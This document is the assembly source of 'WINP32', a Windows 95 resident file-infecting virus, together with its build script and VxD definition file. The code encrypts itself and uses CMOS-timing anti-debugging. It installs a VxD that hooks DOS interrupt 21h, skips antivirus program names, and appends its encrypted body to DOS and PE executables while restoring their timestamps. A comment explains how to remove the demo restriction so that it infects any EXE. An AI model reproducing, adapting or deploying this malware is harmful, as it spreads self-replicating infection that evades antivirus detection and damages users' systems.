; ; ************************ ; * M A D R O C K E R * ; * presents: * ; * W I N P 3 2 * ; ************************ ; ; <------WIN95.EXE.PE-EXE.TSR(VxD).Infector-------> ; ; Hi ! This is my first TSR-virus that works under WINDOWS 95.The virus ;body consists of loader (it necessary for VxD installation from infected ;file) and VxD-file.If infected program starts virus decrypts loader and ;VxD-part,checks for presence the VxD-copy and (if virus VxD is already ;installed) bypasses control to original CS:IP (or RVA).In other case ;(no answer from VxD-dropper) virus determines the location of IOSUBSYS ;directory and creates WINP32.VXD in this directory.Virus is harmless so ;you can launch it without any trouble.Moreover virus code contents the ;DEMO-switcher (lines 458-459).If DEMO mode enabled virus infects only ;VICTIMXX.EXE files. ; ;Thankes : HellioN , McStar-1 for help and advices. ; ; Mad Rocker ; ;---> WINP32.ASM <----------------------------------------------------------- .386p .xlist include vmm.inc .list Declare_Virtual_Device WINP32,1,0,WINP32_Control,Undefined_Device_ID ,,, VxD_LOCKED_DATA_SEG VxD_LOCKED_CODE_SEG ;---------------------------------------------------------------------------- alloc_size dd 0 vir_buffer dd 0 ;pointer to VxD copy location busy_flag db 0 ;this flag controls our work victim db 80h dup (0) file_mode dw 0 ;file attributes EXE_header db 60h dup (0) ;buffer for EXE header WIN_object db 40 dup (0) ;buffer for Object Table item rw_buffer dw 0 cr_buffer db 0 filetime dw 0 ;time of file creation filedate dw 0 ;date of file creation PE_pointer dw 0 ;pointer to PE-header Obj_pointer dw 0 ; ;--------------------------Virus Decryptor Block-------------------------- Decryptor: push eax ;save registers push esi push ebp xor al,al out 70h,al db 0e8h ;CALL command prefix dw 0 call_address dw 9090h mov ebp,esp inc esp inc esp ;anti-debugger X_prefix db 66h db 0b9h ;MOV (E)CX,length of encrypted block crypt_size dd 0 jmp $+4 db 0e8h,0 in al,71h ;read seconds from CMOS mov ah,al db 81h ;ADD [(E)BP],offset to encrypted block BP_prefix db 46h db 0 ADD_value dd 0 in al,71h ;read seconds from CMOS dec esp dec esp xor al,ah ;if no debugging AL=AH db 0b4h ;MOV AH,key of encryption crypt_key db 0 add ah,al cld pop esi mov edi,esi push esi push es ES_init dw 070eh ;PUSH CS-POP ES unxor: CS_prefix1 db 2eh lodsb xor al,ah ;decrypt byte stosb ;...and replace it rol ah,1 ;change key value loop unxor pop es retn ;return control to VxD_File_Init_Code db 0e8h Decryptor_size equ $-Decryptor ; VxD_File_Init_Code: pop ebp pop esi pop eax ;restore registers jmp_prefix db 0e9h ;JUMP switcher jmp_address dw 0 ;-------------Installation code for WIN32-program---------------------------- WIN32_init_code: pushad ;save all registers push ds call startup startup: pop ebp ;get EIP value xor eax,eax mov esi,0bff70000h+3ch lodsw ;get the PE-pointer value add eax,0bff70000h ;+Image Base of KERNEL32.DLL xchg esi,eax lodsd ;read first 4 bytes from PE-header cmp eax,00004550h jne bypass_control ;sorry,we are probable under NT :( mov eax,[esi+74h] ;get the pointer to Export Table ;--------------------------------------------------------------------------- ; Format of Export Directory Table : ; +00 Export Flags ; +04 Time/Date Stamp ; +08 Major Version ; +0A Minor Version ; +0C Name RVA ; +10 Ordinal Base ; +14 Number of entries to Address Table ; +18 Number of entries to Name ptr Table ; +1C Address Table RVA ; +20 Name ptr Table RVA ; +24 Ordinal Table RVA ;-------------------------------------------------------------------------- add eax,0bff70000h+18h xchg esi,eax lodsd ;get the number of Name exported API mov [NumofNames-startup+ebp],eax lodsd ;get the Address Table RVA add eax,0bff70000h ;+Image Base of KERNEL32.DLL mov [AddofFunc-startup+ebp],eax push esi xchg esi,eax ;The first item of Address Table is RVA of undocumented function (VXDCALL) lodsd ;get the VXDCALL RVA add eax,0bff70000h mov [VxDCall_addr-startup+ebp],eax pop esi lodsd ;get the RVA of Name ptr Table add eax,0bff70000h mov [AddofNames-startup+ebp],eax lodsd ;get the RVA of Ordinal Table add eax,0bff70000h mov [AddofOrdinals-startup+ebp],eax ; mov edx,[NumofNames-startup+ebp] mov esi,[AddofNames-startup+ebp] mov edi,[AddofOrdinals-startup+ebp] ; OK,now we have to find the RVA of GetProcAddress API search_API: lodsd ;get pointer to API name add eax,0bff70000h push esi push edi xchg esi,eax lea edi,[GetProc_name-startup+ebp] mov ecx,0fh ;size of mask repe cmpsb ;compare with our mask pop edi pop esi je API_found inc edi inc edi dec edx jnz search_API jmp bypass_control API_found: ;if API name and our mask are the same xor eax,eax mov ax,word ptr [edi] ;index in Ordinal Table shl eax,2 mov esi,[AddofFunc-startup+ebp] add esi,eax lodsd ;EAX=GetProcAddress API RVA add eax,0bff70000h mov [GetProc_RVA-startup+ebp],eax ;Get the GetSystemDirectoryA RVA lea esi,[GetSys_name-startup+ebp] push esi push 0bff70000h call dword ptr [GetProc_RVA-startup+ebp] mov [GetSys_RVA-startup+ebp],eax ;Get the WINDOWS SYSTEM directory mov eax,80h ;size of buffer push eax lea esi,[VxD_path-startup+ebp] push esi call dword ptr [GetSys_RVA-startup+ebp] search_end: ;we have to determine the end of string lodsb or al,al jnz search_end mov edi,esi dec edi mov al,'\' stosb lea esi,[VxD_name-startup+ebp] mov ecx,name_size rep movsb ;build a full path to WINP32.VXD mov eax,0abcdh ;ask password call VxDCall0 cmp eax,0dcbah ;password correct ? je bypass_control ;yes,VxD is already installed mov eax,00003c00h xor ecx,ecx lea edx,[VxD_path-startup+ebp] call VxDCall0 ;create WINP32.VXD jc bypass_control xchg ebx,eax ;store file handle in EBX xor ecx,ecx mov eax,ecx lea esi,[vir_size-startup+ebp] lodsw mov ecx,eax ;ECX=size of VxD part mov edx,esi mov eax,00004000h call VxDCall0 ;write VxD code to WINP32.VXD mov ah,3eh call VxDCall0 ;close WINP32.VXD bypass_control: pop ds popad ;restore registers db 68h ;push original RVA RVA dd 0 ret ;return control to original program VxDCall0: ;this procedure calls VWIN32 Int_21h lea esi,[VxDCall0_ret-startup+ebp] push ecx push eax push 002a0010h ;VWIN32 ID,Int_21h_Dispatcher push esi db 68h VxDCall_addr dd 0 ret VxDCall0_ret: ret GetProc_name db 'GetProcAddress',0 GetProc_RVA dd 0 GetSys_name db 'GetSystemDirectoryA',0 GetSys_RVA dd 0 ; ;some data from Export Directory Table NumofNames dd 0 AddofFunc dd 0 AddofNames dd 0 AddofOrdinals dd 0 WIN32_code_size equ $-WIN32_init_code ;------------Installation code for usual DOS-program------------------------ DOS_init_code: push ds push es ;save segment registers db 0e8h,0,0 DOS_entrypoint: pop esi ;get current IP push cs pop ds ;DS=CS db 66h mov eax,0abcdh int 21h ;ask VxD password db 66h cmp eax,0dcbah ;password correct ? jne short install_VxD db 0e9h dw prepare_exit-install_VxD install_VxD: ;install virus VxD in the system push es db 66h mov eax,1613h ;get the path of register file push cs pop es mov edi,esi db 66h add edi,VxD_path-DOS_entrypoint db 66h mov ecx,80h ;size of buffer int 2fh pop es or eax,eax ;there are no errors,if AX=0 jnz short prepare_exit push es push esi push cs pop es mov al,'.' ;search the start of extension ;(we have to discard it) repne scasb mov al,'\' dec edi stosb db 66h add esi,VxD_name-DOS_entrypoint db 66h mov ecx,name_size rep movsb ;build a full path to WINP32.VXD pop esi pop es mov ah,3ch ;create WINP32.VXD mov edx,esi db 66h add edx,VxD_path-DOS_entrypoint xor ecx,ecx int 21h jc short prepare_exit xchg eax,ebx ;store file handle push esi db 66h add esi,vir_size-DOS_entrypoint lodsd mov ecx,eax ;CX=size of VXD part mov edx,esi mov ah,40h int 21h ;write VXD code to WINP32.VXD pop esi mov ah,3eh int 21h ;close file prepare_exit: ;standard exit from EXE program xor dx,dx mov edx,es ;DX=PSP db 66h add edx,10h push cs pop es db 66h add esi,old_CS-DOS_entrypoint mov edi,esi lodsd ;AX=original CS value add eax,edx ;add with PSP+10h stosd lodsd ;AX=original SS value add eax,edx ;add with PSP+10h stosd pop es pop ds cli mov ss,eax ;initialize the stack segment xor eax,eax ;clear registers xor ebx,ebx xor ecx,ecx xor edx,edx xor esi,esi xor edi,edi sti jmp $+2 ;break prefetch db 0eah ;FAR JUMP to original CS:IP old_IP dw 0 old_CS dw 0 old_SS dw 0 ; VxD_path db 80h dup (0) VxD_name db 'IOSUBSYS\WINP32.VXD',0 name_size equ $-VxD_name vir_size dw 0 Init_Size equ $-VxD_File_Init_Code ; ;--------This code will be executed during initialization of our VxD--------- ; BeginProc WINP32_Init_Complete VMMCall Get_Exec_Path ;get the path of VMM32.VXD location cld mov esi,edx mov edi,offset32 VxD_path push edi rep movsb mov esi,offset32 VxD_name mov ecx,name_size rep movsb ;create the path to our VXD mov ax,3d00h pop edx VxDint 21h ;open our WINP32.VXD jc short error xchg bx,ax ;store file handle xor eax,eax mov ax,4202h xor cx,cx cwd VxDint 21h ;get the size of our VXD mov alloc_size,eax mov vir_size,ax VMMCall _HeapAllocate or eax,eax jz short error mov vir_buffer,eax ;store the address of reserved space mov ax,4200h xor cx,cx cwd VxDint 21h ;move pointer to the start of file mov ah,3fh mov cx,vir_size mov edx,vir_buffer VxDint 21h ;read VXD to reserved memory block mov ah,3eh VxDint 21h ;close file mov eax,21h mov esi,offset32 My_DOS_handler VMMCall Hook_V86_Int_Chain ;set V86 interrupt 21h to our VXD clc ret error: clc ret EndProc WINP32_Init_Complete ; BeginProc WINP32_Control Control_Dispatch Init_Complete,WINP32_Init_Complete clc ret EndProc WINP32_Control ; ;-----Our handler of V86 interrupt 21h.We take a control every time when----- ;-----------the system try to execute DOS ,WIN16 and WIN32 programs---------- ; BeginProc My_DOS_handler cmp busy_flag,1 je out_handler cmp [ebp.Client_AH],3dh jne test_password Push_Client_State VMMCall Begin_Nest_Exec mov busy_flag,1 ;while we try to infect file ;our handler must be closed movzx edx,[ebp.Client_DS] movzx eax,[ebp.Client_DX] shl edx,4 add edx,eax ;EDX->name of file mov esi,edx mov edi,offset32 victim cld scan_zero: ;search the end of name lodsb stosb or al,al jnz scan_zero sub esi,5 cmp dword ptr [esi],'EXE.' ;that must be an executable file jne finish ;test the name of file for foolish antivirus words sub esi,3 cmp word ptr [esi],'VA' ;AVP je finish dec esi cmp dword ptr [esi],'NACS' ;SCAN je finish dec esi cmp dword ptr [esi],'EWRD' ;DRWE[B] je finish dec esi dec esi cmp dword ptr [esi],'VABT';TBAV je finish dec esi cmp dword ptr [esi],'SDIA';AIDS[TEST] je finish ;In DEMO version virus infects files VICTIMXX.EXE .If you want to get ;the "normal" virus,you have to erase two strings below cmp dword ptr [esi],'TCIV' ;VICT[IMXX] jne finish ; mov ax,4300h mov edx,offset32 victim VxDint 21h ;get file attributes jc finish mov file_mode,cx ;save it xor cx,cx mov ax,4301h VxDint 21h ;set NULL attribute ; mov ax,3d02h ;open file with read/write access VxDint 21h jc finish xchg bx,ax ;store file descriptor mov ah,3fh ;read the first 60h bytes mov cx,60h mov edx,offset32 EXE_header VxDint 21h cmp word ptr [EXE_header],'ZM' jne close_file ;unfortunatly,this file can't ;be infected mov ax,word ptr [EXE_header+12h] xor ah,al cmp ah,'M' je close_file ;file is already infected ! mov ax,5700h VxDint 21h ;get file creation time mov filetime,cx mov filedate,dx ;save it mov ax,4200h xor cx,cx mov dx,word ptr [EXE_header+3ch] mov PE_pointer,dx ;try to set file pointer to ;WINDOWS-OS/2 header VxDint 21h mov ah,3fh mov cx,2 mov edx,offset32 rw_buffer VxDint 21h ;read the possible PE-signature mov ax,4200h xor cx,cx cwd VxDint 21h ;move pointer to the start of file mov ax,rw_buffer cmp ax,'EN' ;NEW EXECUTABLEs aren't supported ;by this version je close_file cmp ax,'XL' ;the same situation je close_file cmp ax,'EP' ;PORTABLE EXECUTABLE is our client! je WIN32_EXE DOS_EXE: ;Save important fields (IP,CS and SS values) from DOS EXE-header mov ax,word ptr [EXE_header+14h] mov dx,word ptr [EXE_header+16h] mov cx,word ptr [EXE_header+0eh] mov old_IP,ax mov old_CS,dx mov old_SS,cx mov ax,4202h xor cx,cx cwd VxDint 21h ;move pointer to the end of file push eax push edx mov cx,200h div cx ;AX:DX=length of file in 512-byte ;pages cmp ax,word ptr [EXE_header+4] pop edx pop eax ja close_file ;this file probably contains ;internal overlay... push eax push edx add ax,Init_Size ;+ size of initialization code adc dx,0 add ax,vir_size ;+ size of VxD part adc dx,0 div cx or dx,dx jz $+4 inc ax ;build a new image size in 512-byte pages mov word ptr [EXE_header+2],dx mov word ptr [EXE_header+4],ax pop edx pop eax mov cx,10h div cx ;AX:DX=file size in paragraphes sub ax,word ptr [EXE_header+8] ;build a new start address mov word ptr [EXE_header+14h],dx mov word ptr [EXE_header+16h],ax xchg eax,edx push edx mov ax,vir_size ;AX=size of VxD part add ax,Init_Size ;+ size of initialization code xor dx,dx div cx inc ax pop edx add ax,dx ;build a new SS value mov word ptr [EXE_header+0eh],ax mov ax,filetime mov ah,'M' ;ID of infection xor ah,al ;move to CRC location the ID of infected file mov word ptr [EXE_header+12h],ax ;update some fields of virus decryptor mov call_address,9090h ;for V86 mode CALL command mov BP_prefix,46h mov word ptr ADD_value,VxD_File_Init_Code-call_address mov word ptr ADD_value+2,9090h mov CX_prefix,66h xor eax,eax mov ax,vir_size add eax,Init_Size mov crypt_size,eax mov CS_prefix1,2eh mov ES_init,070eh ;PUSH CS-POP ES mov jmp_prefix,0e9h mov jmp_address,DOS_Init_Code-WIN32_Init_Code call WRITE_VIRUS ;write virus body to file mov ax,4200h xor cx,cx cwd VxDint 21h ;move file pointer to the start mov ah,40h mov cx,60h mov edx,offset32 EXE_header VxDint 21h ;write updated DOS EXE header jmp close_file WIN32_EXE: ;if our file is a Portable EXE mov ax,filetime mov ah,'M' ;ID of infection xor ah,al ;encrypt ID with file creation time mov word ptr [EXE_header+12h],ax mov ah,40h mov cx,60h mov edx,offset32 EXE_header VxDint 21h ;write updated DOS EXE header mov ax,4200h xor cx,cx mov dx,PE_pointer VxDint 21h ;move pointer to start of PE-header mov ah,3fh mov cx,60h mov edx,offset32 EXE_header VxDint 21h ;read PE-header mov ax,word ptr [EXE_header+6] ;AX=number of objects dec ax mov cx,40 ;CX=size of object mul cx ;AX=size of object table ;without one object add ax,18h add ax,word ptr [EXE_header+14h];+ NT header size add ax,PE_pointer ;+ pointer to PE-header mov Obj_pointer,ax ;save pointer to object table mov dx,ax xor cx,cx mov ax,4200h VxDint 21h ;move file pointer to last object mov ah,3fh mov cx,40 mov edx,offset32 WIN_object VxDint 21h ;read the last object ;-------We have to update the last object and the main PE header------------ mov eax,dword ptr [EXE_header+28h] ;EAX=RVA entrypoint add eax,dword ptr [EXE_header+34h] ;+ Image Base mov RVA,eax ;store entrypoint mov eax,dword ptr [WIN_object+0ch] ;Object RVA add eax,dword ptr [WIN_object+8] ;+ Object virtual size mov dword ptr [EXE_header+28h],eax ;new RVA entrypoint xor eax,eax xor edx,edx mov ax,vir_size add eax,Init_Size ;size of virus code in file push eax mov ecx,dword ptr [EXE_header+3ch] ;File align factor div ecx inc eax mul ecx add eax,dword ptr [WIN_object+8] ;+ Object virtual size mov dword ptr [WIN_object+10h],eax ;new Object physical size pop eax xor edx,edx mov ecx,dword ptr [EXE_header+38h] ;Object align factor div ecx inc eax mul ecx add eax,dword ptr [WIN_object+8] ;+ Object virtual size mov dword ptr [WIN_object+8],eax ;new Object virtual size mov dword ptr [WIN_object+24h],0e0000040h ;Object flags add eax,dword ptr [WIN_object+0ch] ;+ Object RVA mov dword ptr [EXE_header+50h],eax ;new Image Size mov call_address,0 mov BP_prefix,45h mov eax,VxD_File_Init_Code-call_address-2 mov ADD_value,eax mov CX_prefix,90h xor eax,eax mov ax,vir_size add eax,Init_Size mov crypt_size,eax mov CS_prefix1,90h mov ES_init,00ebh mov jmp_prefix,0ebh mov jmp_address,9000h ;-----Well , all important fields are updated.Now we can write the virus----- ;------------------------code to the end of file----------------------------- mov ax,4202h xor cx,cx cwd VxDint 21h ;move pointer to the end of file call WRITE_VIRUS ;write virus body to file mov ax,4200h xor cx,cx mov dx,Obj_pointer VxDint 21h ;move pointer to the last object mov ah,40h mov cx,40 mov edx,offset32 WIN_object VxDint 21h ;write updated last object mov ax,4200h xor cx,cx mov dx,PE_pointer VxDint 21h ;move pointer to PE-header mov ah,40h mov cx,60h mov edx,offset32 EXE_header VxDint 21h ;write PE-header close_file: mov ax,5701h mov cx,filetime mov dx,filedate VxDint 21h ;set an old creation time to file mov ah,3eh VxDint 21h ;close file finish: mov ax,4301h mov cx,file_mode mov edx,offset32 victim VxDint 21h ;restore file attributes mov busy_flag,0 VMMCall End_Nest_Exec Pop_Client_State ;restore CLIENT registers jmp short Out_handler ;bypass control to next handler Test_password: cmp [ebp.Client_AX],0abcdh jne out_handler mov [ebp.Client_AX],0dcbah clc ret Out_handler: stc ret EndProc My_DOS_handler BeginProc WRITE_VIRUS ;encryptes and writes virus body cld mov ah,2ch VxDint 21h ;get system time rol dh,cl xor dh,dl mov crypt_key,dh ;get key of encryption mov ah,40h mov cx,Decryptor_size mov edx,offset32 Decryptor VxDint 21h ;write decryptor to file mov esi,offset32 VxD_File_Init_Code encrypt_Init_Code: ;encrypt one byte from initialization ;code and write it to file lodsb ;get byte xor al,crypt_key ;encrypt it mov cr_buffer,al ;replace it to buffer rol crypt_key,1 ;modify the key of encryption mov ah,40h mov cx,1 mov edx,offset32 cr_buffer VxDint 21h ;write encrypted byte cmp esi,offset32 vir_size+2 jb encrypt_Init_Code mov esi,vir_buffer ;address of VxD image mov edi,esi mov cx,vir_size ;size of virus VxD block push ecx encrypt_VxD_buffer: lodsb ;get byte from VxD block xor al,crypt_key ;encrypt it rol crypt_key,1 ;modify the key stosb ;replace it loop encrypt_VxD_buffer mov ah,40h mov cx,vir_size mov edx,vir_buffer VxDint 21h ;write encrypted VxD block to file pop ecx inc ecx std decrypt_VxD_buffer: ;decrypt VxD image in memory lodsb xor al,crypt_key ror crypt_key,1 stosb loop decrypt_VxD_buffer cld clc ret EndProc WRITE_VIRUS ;---------------------------------------------------------------------------- VxD_LOCKED_CODE_ENDS VxD_LOCKED_DATA_ENDS END ;---> WINP32.ASM <----------------------------------------------------------- ;---> WINP32.BAT <----------------------------------------------------------- ml -coff -DBLD_COFF -DIS_32 -W2 -Fl -c -Cx -Zd -Ic:\ddk\win_95\include -DMASM6 winp32.asm link /VXD /NOD /MAP winp32.obj /DEF:winp32.def mapsym -s -o winp32.sym winp32.map ;---> WINP32.BAT <----------------------------------------------------------- ;---> WINP32.DEF <----------------------------------------------------------- VXD WINP32 DYNAMIC DESCRIPTION '' SEGMENTS _LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE _LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE _LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE _TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE _DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE _TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE _BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _PTEXT CLASS 'PCODE' NONDISCARDABLE _PDATA CLASS 'PDATA' NONDISCARDABLE SHARED _STEXT CLASS 'SCODE' RESIDENT _SDATA CLASS 'SCODE' RESIDENT _DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING _DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING _DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING _16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE _RCODE CLASS 'RCODE' EXPORTS WINP32_DDB @1 ;---> WINP32.DEF <-----------------------------------------------------------